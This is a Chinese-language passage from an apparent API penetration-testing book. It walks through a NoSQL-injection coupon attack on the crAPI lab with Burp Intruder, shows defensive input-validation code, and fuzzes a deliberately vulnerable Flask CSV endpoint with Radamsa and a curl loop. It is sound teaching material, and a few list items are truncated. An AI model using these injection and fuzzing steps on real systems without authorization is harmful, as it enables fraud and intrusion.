在 crAPI 上利用 NoSQL 注入
现在是时候回到我们的老朋友 crAPI 了。我们都知道它暴露了大量的端点,因此让我们验证一下是否有一个可以用来进行练习的端点。启动你的 crAPI 实例。我们还将使用另一个朋友——Burp Suite 来帮助我们完成这项任务。启动 Burp Suite,并使用默认设置开始一个新项目。你需要在实验室中使用 Burp 的浏览器,因为所有服务都是在本地监听的(localhost)。访问 crAPI。如果你还没有账户,按照简单的流程创建一个。登录后,进入 商店 区域,如 图 5.5 所示:

图 5.5 – crAPI 的商店区域
观察我们的初始余额:$100。我们的目标是以低于实际成本的价格购买商品或增加我们的余额。如果我们有优惠券,我们可以通过相应的按钮添加其代码。问题是,我们还没有任何代码——但很快就会有... 点击 添加优惠券 按钮并输入任意内容。你会收到一个错误消息:

图 5.6 – 无效的优惠券代码
crAPI 的这一部分使用了 NoSQL 数据库(更准确地说是 MongoDB)来存储优惠券。现在,转到 Burp Suite 查看 HTTP 连接历史。最后一项将显示 crAPI 用来验证该代码的端点。你会发现它是 /community/api/v2/coupon/validate-coupon。我们还确认该端点返回了一个 500 错误代码,并且是一个空的 JSON 结构。现在,让我们使用 Burp 的另一个资源来帮助我们发现 crAPI 的优惠券。图 5.7 显示了一个示例,展示了发送请求到优惠券验证端点的操作:

图 5.7 – crAPI 的优惠券验证端点
我们将做一些类似于在 SQL 注入部分中使用 vAPI Python 应用程序的操作。右键点击这个优惠券验证请求(仍然在 HTTP 历史 标签页中),选择 发送到 Intruder,然后进入该工具的这个部分。你将看到的第一个子部分是 Positions。观察请求结构,它是一个简单的 JSON 结构,包含一个键值对:
{
"coupon_code": "blabla"
}
我们希望对“blabla”部分进行模糊测试,加入大量从有效负载列表中拉取的垃圾数据。选择整个“blabla”文本,包括双引号,然后点击§。将攻击类型设置为Sniper。接下来,移动到有效负载子部分。将有效负载类型设置为简单,然后点击加载…按钮,进入标记为有效负载设置[简单列表]的块。你可以一次加载多个文件。如果有多个文件,执行此操作。取消选择最后一个选框,标记为URL 编码这些字符。这将避免在提交有效负载时进行不必要的编码。最后,点击开始攻击。记住——Burp Community 可能会花更多时间,因为 Intruder 功能有意在发送有效负载之间加入了一些延迟。
再次切换到200 代码,如下面截图所示,它会向你显示一个优惠券代码。TRAC075代码代表 75 美元:

图 5.8 – crAPI 在 NoSQL 注入攻击后泄露优惠券代码
选择这个优惠券并将其添加到网站的相应区域。它会被接受,你的余额将增加,如图 5.9所示。幸运,幸运!

图 5.9 – 添加有效的优惠券代码
你可以看到余额增加了 75 美元,如图 5.10所示。富有了!

图 5.10 – 添加优惠券代码后的余额增加
恭喜!你再也不用为 crAPI 商店中的任何单一产品支付更多费用了。抱歉——只是另一个糟糕的破冰段子。我在进一步阅读部分提供的参考资料中,列出了我为这次攻击使用的有效负载清单。别忘了检查它们,因为其中有大量可以用于渗透测试的资料。接下来,我们将学习用户输入验证和清理。
验证和清理用户输入
在这个阶段,我相信你已经深刻意识到,注入攻击的核心成功之处在于对用户提供给 API 端点或 Web 应用程序的数据没有进行充分(或根本没有)清理。构建安全的 API 时,验证和清理用户输入至关重要,它可以有效抵御攻击。作为渗透测试人员,理解这些技术对于识别漏洞至关重要。
当用户注册时,输入验证充当着一个警觉的守门员,确保他们提供的信息符合特定的准则并且适合处理。它仔细检查用户名、电子邮件地址和密码等关键信息字段的格式、长度和内容。像 OWASP 企业安全 API (ESAPI) 这样的开源工具提供了可靠的验证工具,适用于不同类型的用户输入。试想使用 ESAPI 的验证功能来确保用户名仅由字母和数字组成,并符合预定的长度限制。类似地,你可以验证电子邮件地址是否符合合法格式,并确保密码满足复杂性要求,比如最小长度和包含特殊字符。通过这种强有力的方法,可以有效防止潜在有害或无意义的数据。
至少有五个点是每个 API 开发者都应关注的。作为渗透测试人员,你显然应该检查它们是否存在任何遗漏:
-
@和.),以及避免使用可能干扰系统的特殊字符的用户名。然而,这些防护措施有时可能存在缺陷。像 OWASP ZAP 和 Burp Suite 这样的工具使渗透测试人员能够成为隐形中介,拦截并剖析用户与 API 之间的通信(HTTP 请求)。 -
清理查询参数以处理搜索查询:允许用户通过名称或类别查找产品的 API 需要特别注意清理查询参数。这一步骤至关重要,涉及删除或转换可能被用来操控数据库查询的特殊字符。像 SQLMap 和 NoSQLMap 这样的工具充当数字探针,揭示这些查询中的漏洞。通过使用这些工具可以测试是否存在 SQL 和 NoSQL 注入攻击的漏洞。通过实施强有力的输入清理措施,这类攻击将失效,从而保护底层数据库的完整性。
-
验证文件上传:想象一个允许用户上传文件的 API,也许是图片或重要文档。然而,在这个看似无害的功能背后,潜藏着恶意活动的潜力。为了增强这个 API 的安全性,强有力的输入验证至关重要。它应该充当一个警觉的检查员,审查文件类型,确保只允许特定格式(如图片)。此外,必须强制文件大小限制,以防止通过大文件上传发起的 DoS 攻击。还应采用恶意软件检测机制,识别并拒绝任何可能试图渗透系统的恶意文件。
此外,文件名本身也需要进行净化。这个关键步骤可以防止“目录遍历攻击”——一种渗透测试者利用文件命名规则中的漏洞,访问系统未授权部分的技术。像 OWASP ZAP 和 Nikto 这样的工具是安全专业人员的宝贵盟友,帮助他们模拟攻击并识别文件上传功能中的漏洞,特别是由于输入验证不充分所带来的问题。
-
validator.js(适用于 JavaScript)或 Django 内置的表单验证(适用于 Python)为实施强健的数字输入验证提供了宝贵的帮助。这些工具使开发者能够为可接受的数字范围设定明确的指导原则,防止越界(OOB)错误,并保持 API 中的数据完整性。 -
净化 HTML 输入以防止跨站脚本(XSS)攻击:某些 API 允许用户提交 HTML 内容,如评论或产品描述。如果没有适当的防护,这种看似无害的功能可能被攻击者利用。恶意行为者可能试图在 HTML 中注入恶意脚本(XSS 攻击),从而可能劫持用户会话、窃取数据或将用户重定向到恶意网站。为了防止这些攻击,净化是一个关键的防御机制。
这个过程涉及转换(转义)或完全移除潜在的恶意 HTML 标签和属性,使其失效,无法执行恶意代码。幸运的是,像 DOMPurify(适用于 JavaScript)和 Bleach(适用于 Python)这样的开源库为开发者提供了帮助。这些工具使开发人员能够有效地净化 HTML 输入,消除 XSS 漏洞,保护 API 及其用户的完整性。
让我们更仔细地看一下这些用例。
用户注册的输入验证
在用户注册过程中,输入验证充当了一个警惕的安全检查点,确保用户提供的信息符合预定义的标准,并且适合处理而不会危及系统安全。这个细致的过程包括检查诸如用户名、电子邮件地址和密码等重要字段的格式、长度和内容等。像 OWASP ESAPI 这样的强大工具提供了一整套验证功能。可以把它们看作是训练有素的守卫,每个守卫都有特定的专长。一名守卫确保用户名只由字母和数字组成,并符合长度限制。另一名守卫验证电子邮件地址是否符合合法格式,而第三名守卫执行密码复杂性要求,要求密码具有最小长度并包含特殊字符。通过实施这些严格的检查,你有效地过滤掉了那些不合理或潜在恶意的数据,这些数据可能被攻击者利用来利用系统漏洞。彻底的输入验证是安全用户注册的基石。它为你的系统构筑了坚固的防护墙,保护它免受多种安全威胁,确保你的王国(API 和应用程序)的顺利运行。
即使在今天,Java 仍然是一个重要的编程语言,不难找到基于它构建的 Web 应用程序和 API 端点。让我们看看下面的 Java 代码片段,它展示了 OWASP ESAPI 的实际应用:
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.errors.ValidationException;
public class UserRegistrationValidator {
public boolean isValidUsername(String username) {
try {
ESAPI.validator().isValidInput("Username", username, "Username", 50, false);
return true;
} catch (ValidationException e) {
return false;
}
}
}
在这段代码中,使用了两个类,ESAPI 本身和来自 errors 包的 ValidationException。请注意,只有当 ESAPI.validator() 函数确认用户名有效时,才视为有效。
清理查询参数
清理查询参数是与数据库交互的 API 关键的防御机制。如果没有适当的清理,攻击者可以利用称为 SQL 注入的漏洞来操控数据库查询。这些恶意行为者可能使用像 SQLMap 这样的工具来自动化这一过程,通过查询参数发送一连串精心构造的字符串(有效载荷)。这些有效载荷可能会诱使数据库执行意外的操作,比如窃取敏感数据或扰乱操作。
幸运的是,我们有强大的工具可以用来对抗这一威胁。输入清理技术,例如参数化查询,充当了防御这种攻击的盾牌。参数化查询将数据(用户输入)与实际的 SQL 语句分开,防止恶意代码被注入。像 Python 中的 Flask 这样的框架提供了对参数化查询的内置支持。通过采用这种方法,你可以自信地执行 SQL 查询,而无需将应用程序暴露于 SQL 注入的危险之中,保护数据库和用户信息的完整性。
以下代码部分包含了一个 Flask 应用程序,它与 SQLite3 数据库进行交互。它不是直接将输入传递到数据库,而是先将表名硬编码到 SQL 语句中,并应用?符号:
from flask import request
import sqlite3
@app.route('/search')
def search():
query = request.args.get('q')
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
cursor.execute("SELECT * FROM items WHERE name LIKE ?", ('%' + query + '%',))
results = cursor.fetchall()
conn.close()
return jsonify(results)
在此示例中,q查询参数通过使用参数化查询(?)进行了清理,确保用户提供的任何恶意输入都被正确转义,不会干扰 SQL 查询的执行。
文件上传验证
文件上传为用户提供了便捷的功能,但也可能成为攻击者的入口。恶意攻击者可能试图上传伪装成无害图片或文档的文件,但实际上,这些文件可能是恶意脚本或可执行文件,能够危及整个服务器。为了防止此类攻击,强有力的输入验证至关重要。这个过程会仔细检查上传的文件,确保它们符合预定义的安全标准。
验证重点关注两个关键方面:文件类型和大小。只应允许授权的文件类型,如图片或文档。像Apache Commons FileUpload这样的开源库可以提供帮助,提供一整套工具来验证上传。这些工具可以检查文件扩展名是否符合白名单,验证内容类型是否符合预期格式,并执行大小限制,以防止通过大规模上传发起的 DoS 攻击。通过实施这些防护措施,您可以有效解除这些伪装成文件上传的“数字炸弹”,保护您的服务器和用户数据。
以下 Java 代码示例演示了如何在将文件发送到 API 端点之前正确验证它们,以确保在后台有效处理之前,包括最终的数据库操作:
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
List<FileItem> items = new ServletFileUpload(new DiskFileItemFactory()).parseRequest(request);
for (FileItem item : items) {
if (!item.isFormField()) {
String fileName = new File(item.getName()).getName();
String contentType = item.getContentType();
// Validates fileName, contentType, and file size
}
}
在这个代码片段中,使用了 Apache Commons FileUpload 来解析文件上传请求,然后可以对文件名、内容类型和大小进行验证检查,以确保只接收安全的文件进行上传。
数值输入的验证
在处理用户的数值输入时,确保数据符合预期格式并保持在可接受范围内至关重要。未经检查的数值输入可能会引入漏洞,例如缓冲区溢出或算术溢出,从而导致程序行为异常、崩溃,甚至系统被攻破。
像 Apache Commons Validator 这样的开源库为 Java 提供了强大的工具,用于验证数字输入。这些库提供了专门处理不同数字数据类型(整数、浮点数等)的函数。开发者可以利用这些函数来定义可接受用户输入的明确约束,例如最小值和最大值。通过实现这样的验证,我们可以有效地“驯服”数字输入,防止错误并保护 API 接口免受恶意攻击者利用的漏洞。这确保了接口按预期处理数据,并保持其整体稳定性和安全性。
看一下如何将 Apache Commons Validator for Java 应用于清理用户输入:
import org.apache.commons.validator.routines.FloatValidator;
public class NumericInputValidator {
public boolean isValidFloat(String input) {
FloatValidator validator = FloatValidator.getInstance();
return validator.isValid(input, Locale.US);
// Using US locale for decimal separator
// You can do the same for integers and other numeric types.
}
}
在这段代码示例中,使用了 Apache Commons Validator 的 FloatValidator 类来验证一个浮动输入,确保输入字符串符合 US 区域设置的有效浮点数标准。
清理 HTML 输入以防止 XSS 攻击
想象一个场景,用户输入未经处理地直接插入到网页中。这种看似无害的做法会创建一个被称为 XSS(跨站脚本攻击)的漏洞。恶意攻击者可以利用 XSS 在其输入中植入隐藏的“炸弹”——伪装成普通文本的恶意脚本。一旦页面渲染,这些脚本就会引爆,窃取敏感的用户信息(如会话 cookie),或代表用户执行未授权的操作。
为了防止此类攻击,我们依赖一种名为 HTML 转义的技术。该过程涉及在显示到网页之前对用户输入中的特殊字符进行编码。通过编码这些字符,我们可以有效地解除“炸弹”,使其变得无害。像 OWASP Java Encoder 这样的开源库提供了用于 HTML 转义的有价值工具。通过利用这些工具,开发者可以有效地清理用户输入,堵住 XSS 漏洞的大门,从而保护用户数据和 API 接口功能。
以下代码片段展示了如何使用 OWASP Java Encoder 来清理 HTML 输入:
import org.owasp.encoder.Encode;
public class HtmlSanitizer {
public String sanitizeHtml(String input) {
return Encode.forHtml(input);
}
}
在这个示例中,OWASP Java Encoder 的 Encode.forHtml 方法用于通过编码特殊字符(如 <、> 和 &)来清理 HTML 输入,从而防止它们被浏览器解释为 HTML 标签或脚本元素。
概述
在这一章中,我们讨论了 SQL 和 NoSQL 两种数据库的注入攻击,如何进行这些攻击,以及它们可能对提供 API 端点的最终系统造成的损害类型。我们了解了不同类型的注入攻击,并进行了一些练习,其中一个是使用 crAPI,另一个是使用一个脆弱的 Python 应用程序,每个练习都展示了如何通过注入命令或虚假/无法预测的数据攻击这两种类型的数据库。我们在本章结束时讨论了验证和清理用户输入,这旨在去除或至少减少注入攻击的成功率。还提供了代码片段,以便你能了解这在现实应用中如何运作。
在下一章中,我们将讨论错误处理和异常测试。这一内容与其他任何内容一样重要,因为我们将看到,一个处理不当的异常或错误可能会泄露有关 API 或其背后应用的宝贵信息。
进一步阅读
-
Equifax 数据泄露:
consumer.ftc.gov/consumer-alerts/2019/07/equifax-data-breach-settlement-what-you-should-know -
Firebase NoSQL 漏洞:
blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/ -
常见漏洞与暴露 (CVE) 报告的 Apache Structs 漏洞:
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776 -
FortiSIEM CVE-2023-36553 MITRE 记录:
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36553 -
FortiSIEM CVE-2023-36553 国家标准与技术研究院 (NIST) 通知:
nvd.nist.gov/vuln/detail/CVE-2023-36553 -
Palo Alto 操作系统命令注入漏洞 –
security.paloaltonetworks.com/CVE-2023-6792 -
BleepingComputer – 黑客通过 SQL 注入和 XSS 攻击窃取 200 万条数据:
www.bleepingcomputer.com/news/security/hackers-steal-data-of-2-million-in-sql-injection-xss-attacks/ -
PortSwigger — 汽车公司大量暴露于网络 漏洞:
portswigger.net/daily-swig/car-companies-massively-exposed-to-web-vulnerabilities -
The Hacker News — 新的黑客团体‘GambleForce’通过 SQL 注入 攻击瞄准亚太地区公司:
thehackernews.com/2023/12/new-hacker-group-gambleforce-tageting.html -
PayloadsAllTheThings(大量注入载荷的列表):
github.com/swisskyrepo/PayloadsAllTheThings -
全能 SQL 注入模糊测试词表:
github.com/PenTestical/sqli -
vAPI Python 应用:
github.com/michealkeines/Vulnerable-API -
探索查找辅助技术和 NoSQL 数据库 — 一篇关于 NoSQL 数据库的科学文章:
ojs.library.ubc.ca/index.php/seealso/article/view/186333 -
MongoDB 查询操作符:
www.mongodb.com/docs/manual/reference/operator/query/ -
OWASP ESAPI,一个提供安全清理用户输入方法的库:
owasp.org/www-project-enterprise-security-api/ -
SQLMap,一个自动化渗透测试关系型数据库的工具:
sqlmap.org/ -
NoSQLMap – SQLMap 的“表亲”,专门用于自动化渗透测试和非关系型数据库的审计:
github.com/codingo/NoSQLMap -
Nikto,一个有用的工具,用于发现 Web 服务器中的漏洞,包括过时的软件和配置错误的接口:
github.com/sullo/nikto -
validator.jsfor JavaScript,一个验证和清理字符串输入的工具:www.npmjs.com/package/validator -
DOMPurify for JavaScript,一个用于清理文档对象模型(DOM)HTML 表单的工具:
github.com/cure53/DOMPurify -
Apache Commons FileUpload Validator for Java,一个用于在将文件视为有效输入之前清理文件的库:
commons.apache.org/proper/commons-fileupload/ -
OWASP Java Encoder,一个可以用于对 HTML 输入进行编码并减少 XSS 攻击机会的类:
owasp.org/www-project-java-encoder/ -
OWASP ESAPI:
owasp.org/www-project-enterprise-security-api/
第六章:错误处理和异常测试
在上一章中,你已经接触到将代码注入合法输入字段的技术,适用于 API 端点。这些威胁中的一些使用的是旧技术,但依然非常普遍。其中一种方法是对将要注入的文本进行模糊测试(fuzzing)。这可能导致目标端点出现异常行为,仅仅因为它没有准备好接收不寻常或离奇的输入文本。这是因为 API 端点没有正确处理错误,或者实现它的代码没有处理可能出现的异常。
因此,对于 API 和应用程序的所有者来说,正确测试和处理错误和异常是非常重要的。当然,作为渗透测试员,你也不能忘记把这一点加入到测试笔记中。漏洞不仅可能源于错误或异常处理不当,异常或意外错误还可能泄露关于基础设施的有价值信息,比如框架、库、第三方软件、操作系统(包括内核)版本以及构建号。
本章将从讨论一些常见的错误代码和消息开始,并介绍如何轻松识别它们。接下来,我们将深入探讨模糊测试(fuzzing),以及它如何触发一些隐藏的漏洞。最后,我们将学习如何利用我们的研究成果来揭示我们所寻找的数据。
本章将涵盖以下主要主题:
-
识别错误代码和消息
-
模糊测试异常处理漏洞
-
利用错误响应进行信息泄露
技术要求
和第五章一样,我们将使用与前几章所指出的相同环境。因此,你将需要一个 2 型虚拟化管理程序,如 VirtualBox,以及一些 Linux 发行版,如 Ubuntu。其他一些相关的新工具将在相应部分中提到。
识别错误代码和消息
在这一部分,我们将学习 API 端点在响应请求时可能提供的错误代码和消息。错误代码和消息是有效 API 渗透测试的基石。它们是 API 通信渠道的窗口,揭示了在请求处理过程中遇到问题时,API 如何告知客户端和用户。通过解读这些消息,你可以评估 API 错误处理机制的强度和安全性。仔细审查错误响应可以揭示潜在的安全漏洞,如信息泄露、注入攻击或输入验证不严。
揭示错误代码和消息的一个显而易见的方法是检查 API 文档。在 第三章 中,你已经学习了这个渗透测试阶段的重要性。另一个方法是手动测试。在这里,渗透测试人员故意构造带有格式错误的数据或不正确输入的请求,观察返回的错误响应。分析这些响应的结构和内容可以提供有关 API 如何处理各种错误场景的见解。例如,发送一个无效认证令牌的请求可能会触发 401 Unauthorized 响应,表示认证尝试失败。手动检查这些响应可以揭示 API 安全状态的宝贵信息。
自动化测试工具,如 Burp Suite 和 OWASP ZAP,是识别错误代码和消息的强大工具。这些工具可以捕获 API 请求和响应,帮助系统地分析错误消息。通过自动化发送带有不同负载和输入的请求,你可以高效地识别 API 错误处理机制中的潜在漏洞。例如,Burp Suite 的 Intruder 工具可以用来发送带有不同参数的多个请求,而它的代理功能则允许实时捕获和分析错误响应。我们已经使用过这两者。
除了常见的 HTTP 状态码,错误消息通常还包括额外的细节,如错误代码、描述,甚至堆栈跟踪。这些细节为错误的性质和根本原因提供了宝贵的线索,有助于进一步调查和利用(当然是从道德渗透测试的角度来看)。你应该密切关注这些细节,因为它们可能揭示 API 中的漏洞或配置错误。例如,包含堆栈跟踪的错误消息可能暴露有关底层基础设施的敏感信息,如服务器路径或数据库查询。分析这些信息有助于你识别潜在的攻击向量,并评估漏洞的严重性。
此外,你可以利用参数操作技术来引发 API 的特定错误响应。通过修改请求参数,如输入数据或 HTTP 头部,它们可以触发不同的错误场景,并观察 API 的响应。这种方法允许你系统地测试 API 的错误处理能力,并识别潜在的安全弱点。例如,发送过大负载或格式不正确的数据请求可能导致 API 返回错误响应,指示输入验证失败或缓冲区溢出。
错误响应在不同端点和输入变化中的一致性和可预测性是识别错误代码和消息的关键因素。你可以检查 API 在不同条件下如何处理错误,比如不同的认证状态、输入格式或请求方法。一致的错误处理对于确保 API 的可靠性和安全性至关重要。不一致或不可预测的错误响应可能表明潜在的漏洞或实现缺陷,你可以利用这些问题。
让我们通过一个实际的例子来说明如何识别错误代码和消息。假设有一个用户认证的 API 端点,它通过 POST 请求接受用户名和密码参数。我们可以向这个端点发送无效凭证,并观察返回的错误响应。以下是一个请求和响应示例(命令在一行中):
curl -X POST -H "Content-Type: application/json" -d \
'{"username": "admin", "password": "some invalid password"}' \
http://localhost:5000/api/authenticate
可能的答案如下:
{
"error": {
"message": "Invalid credentials",
"code": 401,
"details": "Authentication failed"
}
}
你不仅会收到一个错误代码,还会得到一条消息和更多的详细信息。让我们来看另一种错误消息,它可能揭示出一些关于这个假设的 API 端点的逻辑。我们将尝试用一些通用的用户 ID 登录:
curl -X GET http://localhost:5000/api/user?id=abc123
该端点返回以下内容:
{
"error": {
"message": "Invalid parameter: id must be a numeric value",
"code": 400,
"details": "Invalid input"
}
}
现在,你知道只有数字值会被接受作为用户 ID。这大大减少了用户枚举任务的搜索范围。同样,你也可以尝试通过使用其他 API 端点或 HTTP 动词来寻找其他错误代码。作为一个练习,相关的虚拟代码实现了一个带有端点和错误消息的 API。可以在github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter06/identify_error_codes.py找到它。
Flask 应用程序默认监听 TCP 端口5000。你可以通过使用port=参数作为app.run方法的一部分来更改它。让我们通过运行一些curl命令来看一下它是如何工作的:
curl -X GET http://localhost:5000/api/user/1
{
"email": "john.doe@example.com",
"id": 1,
"name": "John Doe"
}
这非常简单,没什么意外!现在,让我们验证一下当我们提供一个不存在的用户时,端点会如何表现:
curl -X GET http://localhost:5000/api/user/2
{
"error": {
"code": 404,
"message": "User not found"
}
}
好的;这也是应用代码的一部分。如果我们发送一些意外的内容呢?
curl -X GET http://localhost:5000/api/user/aksfljdf\!\#\$\!\#\$\!\#224534
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
这是由 Flask 直接回答的(而不是我写的代码),因为它没有找到任何接受字符串作为输入的user端点。这是 Python 应用程序和模块中常见的错误消息,尤其是使用 Werkzeug 模块的应用程序,该模块实现了Web 服务器网关接口(WSGI)。至少这个消息透露出该 API 使用 Python 作为后端。在真实场景中,我们本可以通过这个信息获得指纹识别的胜利!
接下来,让我们通过制造一个预测的错误来尝试其他端点:
curl -X POST -H "Content-Type: application/json" -d '{"name": \ "Alice"}' http://localhost:5000/api/user/create
{
"error": {
"code": 400,
"message": "Bad Request: Name and email are required"
}
}
如果你忘记提供姓名、电子邮件或两者,系统会返回此消息。但在这个代码的情况下,即使你按预期发送了所有参数,应用程序仍会抛出异常,向你展示这可能带来多少信息泄露:
curl -X POST -H "Content-Type: application/json" -d '{"name": "Alice", \
"email": "alice@example.com"}' http://localhost:5000/api/user/create
这是我们收到的输出结果:
<!doctype html>
...
<output omitted for brevity>
...
<h1>Exception</h1>
...
<output omitted for brevity>
...
Traceback (most recent call last):
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 1488, in __call__
return self.wsgi_app(environ, start_response)
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 1466, in wsgi_app
response = self.handle_exception(e)
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 1463, in wsgi_app
response = self.full_dispatch_request()
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 872, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 870, in full_dispatch_request
rv = self.dispatch_request()
File "/apitest/lib/python3.10/site-packages/flask/app.py", line 855, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
File "/home/mauricio/Downloads/api_error_messages.py", line 22, in create_user
raise Exception("Internal Server Error: Failed to create user")
Exception: Internal Server Error: Failed to create user
看看异常处理不当有多危险?你不仅发现了该端点背后使用的是 Python,还揭示了部分目录结构,包括正在使用的 Python 版本。其他端点也会抛出类似的消息。在下一部分,我们将进行模糊测试。
异常处理漏洞的模糊测试
在 第四章 中,你通过参与我们使用 Burp Suite 进行的练习,快速尝试了模糊测试。现在,我们将更深入地探讨这一技术。模糊测试在 API 渗透测试中非常重要,因为它可以暴露应用程序在错误处理意外输入时的漏洞和弱点。由于错误处理不当可能导致的漏洞类型从信息泄露到 拒绝服务(DoS)不等。
一种流行的异常处理漏洞模糊测试方法是使用自动化工具,如 American Fuzzy Lop(AFL)。AFL 由 Michal Zalewski 创建,并由 Google 维护,擅长生成随机模式作为输入进行 API 端点或应用程序的测试。它通过反复修改输入文件并监控目标应用程序是否发生崩溃或异常行为来运行。有一些很好的模糊测试工具可以用来通过向 API 端点发送包含格式不正确数据、意外参数值甚至特制 HTTP 头部的请求来进行模糊测试。
例如,假设有一个 API 端点,用于处理用户认证的 JSON 负载。模糊测试涉及生成一系列格式不正确的 JSON 负载。这些负载可能包含缺失或无效的键值对、过大的大小,或者意外的数据类型。通过观察 API 对这些输入的响应,你可以发现潜在的异常处理漏洞,比如崩溃、内存泄漏或意外行为。
AFL 的优势在于其基于反馈的驱动方法,使其在识别异常处理漏洞方面尤其高效。当该工具发现新的输入触发了目标应用程序内的独特路径或行为时,它会优先修改这些输入,深入探讨应用程序的代码库。这一迭代过程有助于揭示那些仅凭手动测试可能遗漏的细微漏洞。
另一种模糊测试异常处理漏洞的方法是精心改变特定的输入参数或请求属性。例如,你可能会有策略地将特殊字符、边界值或意外的数据类型注入到输入字段中,以触发 API 处理逻辑中的异常或错误。通过精心构造输入负载,针对特定的代码路径或错误处理机制,你可以揭示那些可能被忽视的漏洞。
开源模糊框架,如 Sulley 和 Radamsa,提供了针对 API 端点的有针对性的模糊选项。这些框架提供了用于生成和变异输入数据的工具和库,以及用于监视和分析目标应用程序响应的机制。通过将模糊测试活动定制为专注于特定输入参数或请求属性,您可以有效地找出异常处理漏洞并评估其对 API 安全姿态的影响。
尽管 AFL 非常多才多艺且功能强大,但我在将其编译为在非英特尔芯片上运行时遇到了一些麻烦。这种情况得到支持,但您需要应用低级虚拟机(LLVM)或快速模拟器(QEMU),这两种广泛使用的硬件模拟器,才能在 ARM 等平台上运行。相反,Sulley 停止维护。一个新项目取代了它 - Boofuzz。它看起来很有前途,并且有很好的快速入门示例。然而,Radamsa 很容易在非英特尔芯片支持的操作系统上编译和安装。许多模糊器要求您对应用程序的代码进行更改,这并不完全符合我们的要求。我们想要了解当需要处理随机/意外输入时,通用 API 端点的行为如何。最后,Fuzz Faster U Fool(FFUF)是用 Golang 编写的快速网络模糊器。它的安装非常简单,而且它可以与 Radamsa 等其他模糊器结合使用。关键是,这些模糊器中的大多数适用于发送模糊数据,而不是文件。因此,我们将采取不同的方法。在这里,我们将结合一个变异器和自定义代码。我们可以处理响应状态代码,并仅显示我们想要的内容。
因此,对于我们的实际练习,我们将探索使用 Radamsa 提供的模糊数据进行请求,以说明模糊处理异常处理漏洞的过程。我们可以利用我们已经分享的相同代码,但至少增加一个端点。这个新端点将接受并处理 CSV 文件以更新用户信息。这样的模糊测试可能涉及生成一系列格式不正确的 CSV 文件,其中包含意外的列标题、分隔符字符或行格式。通过观察 API 对这些输入的响应,您可以在其 CSV 解析和异常处理逻辑中引发潜在的漏洞。
相关代码,已经编写成易受攻击的形式,可能如下所示:
import csv
from io import StringIO
@app.route('/api/upload/csv', methods=['POST'])
def upload_csv():
# Check if file is present in request
if 'file' not in request.files:
return jsonify(
{'error': {
'message': 'Bad Request: No file part',
'code': 401}}), 401
file = request.files['file']
# Validate file extension
if file.filename.split('.')[-1].lower() != 'csv':
return jsonify({'error': {
'message': 'Bad Request: Only CSV files are allowed',
'code': 403}}), 403
# Read and process the uploaded CSV file
try:
csv_data = StringIO(file.stream.read().decode("UTF8"),
newline=None)
# Potential for infinite recursion (missing argument)
csv_reader = csv.reader(csv_data)
# Vulnerable to large data sets (memory exhaustion or crashes)
header = next(csv_reader)
# Converting to list reads entire data at once
data_rows = list(csv_reader)
num_rows = len(data_rows)
num_cols = len(header)
return jsonify({
'message': 'CSV file uploaded successfully',
'header': header,
'data_rows': data_rows,
'num_rows': num_rows,
'num_cols': num_cols
}), 200
except Exception as e:
return jsonify({'error': {
'message': f'Error processing CSV file: {str(e)}',
'code': 500}}), 500
该代码位于github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter06/vulnerable_code_to_fuzz.py。
将以下文件作为upload_csv()端点的两个合法输入:

图 6.1 - 包含合法数据的第一个 CSV 文件
下图显示了包含合法数据的第二个 CSV 文件:

图 6.2 - 包含合法数据的第二个 CSV 文件
第一步是基于这些文件生成(模糊化)数据。借助 Radamsa 的帮助,我们可以快速创建成千上万个模糊化的 CSV 文件。有很多网站可以根据一些参数生成随机数据和文件。我在进一步阅读部分放了其中一个。你可以使用以下命令创建模糊化的文件:
radamsa -n 1000 -o %n.csv csvfile1.csv csvfile2.txt
文件名以1.csv开始,一直到1000.csv。原始文件(csvfile1.csv和csvfile2.csv)中的任何数据都可能被模糊化。因此,你可能会发现模糊化的 CSV 文件具有奇怪的标题,比如email4294967297,负 ID 或奇怪的电子邮件地址。这正是本意所在。下面是自定义脚本代码。请注意,我们只过滤与200不同的响应代码。当发生这种情况时,我们会重复请求以显示确切的 API 端点输出:
#!/bin/bash
url=http://localhost:5000/api/upload/csv
for filename in ./*csv; do
# Getting response code
r_code=$(curl -s -o /dev/null -w "%{http_code}" -X POST -F \
"file=@$filename" $url)
if [ $r_code != 200 ]; then
echo "Damaging file: `basename $filename`"
# Making the complete request
curl -X POST -F "file=@$filename" $url
echo
fi
done
在我的案例中,代码在 1000 次尝试中发现了两个错误,这意味着成功率只有 2%。然而,即使不到 1%也可能成功。让我们看看是什么让端点发疯了:

图 6.3 - API 端点抛出“500”错误代码的错误消息
现在,让我们快速看一下379.csv文件的内容。请注意,这个格式不良的标题是故意构建的:
id; firstnane;lastnane ;enatt; enat12 ;professton
110;Rubie;Wittie;Rubie.Hittie@yopmail.con;Rubie.Wittie@gnail.con;firefighter
111;Sindee;Fredi;Sindee.Fredi@yopmail.con;Sindee.Frediggnail.con;police officer
113; Joane;Freddi; Joane.Freddi@yopmail.com;Joane.Freddi@gnatl.con;worker
se:cavlene: Eno: cavlene, Enorvoomal, con: cavene, Enocamal, con:ti rer ahren
115; Sonnt;Argus; Sonnt.Argus@yopmatl.con;Sonnt.Argus@gmall.con;ftreftghter
117;Thalla;Urtas;Thalla.Urtas@yopmall.con;Thalla.Urtas@gnall.con;ftrefighter
118;Glustina;Libna;Glustina.Libnadyopnail.com;Gtustina.Libnaggnatl.com;worker
105; Deedee; Keelta; Deedee.Keelta@yopnatl.con; Deedee. Keeltaagnatl.com; doctor
